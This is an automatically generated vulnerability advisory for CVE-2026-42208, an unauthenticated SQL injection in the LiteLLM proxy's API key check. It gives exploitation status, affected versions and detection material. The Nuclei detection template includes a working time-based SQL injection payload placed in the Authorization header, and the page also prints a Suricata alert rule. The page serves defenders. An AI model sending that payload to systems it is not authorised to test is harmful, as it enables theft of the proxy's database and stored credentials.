VULNpocalypse

CVE-2026-42208: BerriAI LiteLLM SQL Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.81.16 to before version 1.83.7, a database query used during proxy API key checks mixed the caller-supplied key value into the query text instead of passing it as a separate parameter. An unauthenticated attacker could send a specially crafted Authorization header to any LLM API route (for example POST /chat/completions) and reach this query through the proxy’s error-handling path. An attacker could read data from the proxy’s database and may be able to modify it, leading to unauthorised access to the proxy and the credentials it manages. This issue has been patched in version 1.83.7.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-05-08).

Weakness: CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’); Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-05-08
US federal deadline
2026-05-11
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-28503, GHSA-98x5-vq43-vc5p, GHSA-r75f-5x8p-qvmc

VEDAS cluster: VEDAS:FREEFLAME

Exploit Observer links 12 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (12)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (10)

Catalogue entries, not exploit evidence.

10 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.894
very likely to be attacked soon
VEDAS
0.982
strong exploit evidence
On CISA KEV
Yes, since 2026-05-08
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-42208 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-42208 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
BerriAI litellmversion >= 1.81.16, < 1.83.7Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: litellm litellm.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

LiteLLM - SQL Injection

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.81.16 to before version 1.83.7, a database query used during proxy API key checks mixed the caller-supplied key value into the query text instead of passing it as a separate parameter.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /ui/login/?, POST /v1/chat/completions, POST /v1/chat/completions); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-42208.yaml
Show the template (63 lines)
yaml
id: CVE-2026-42208

info:
  name: "LiteLLM - SQL Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.81.16 to
    before version 1.83.7, a database query used during proxy API key checks mixed the caller-supplied key value
    into the query text instead of passing it as a separate parameter.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-42208&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42208
    cwe-id: CWE-89
  metadata:
    verified: false
  tags: cve,cve2026,litellm,sqli,unauthenticated,kev,vkev
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /ui/login/? HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer invalid_token_baseline_test

        {}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "litellm-asset-prefix")'
          - 'contains(content_type_2, "application/json")'
          - 'status_code_2 == 401'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{randstr}}' OR (SELECT pg_sleep(8)) IS NOT NULL --

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'duration >= 8'
        condition: and

CVE-2026-42208.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-42208 LiteLLM - SQL Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-42208 LiteLLM - SQL Injection"; flow:established,to_server; http.uri; content:"/v1/chat/completions"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-42208; reference:url,https://www.exploit.observer/?keyword=CVE-2026-42208&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact; sid:1010288; rev:1;)

CVE-2026-42208.rules on GitHub

Advisories on this CVE

References

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.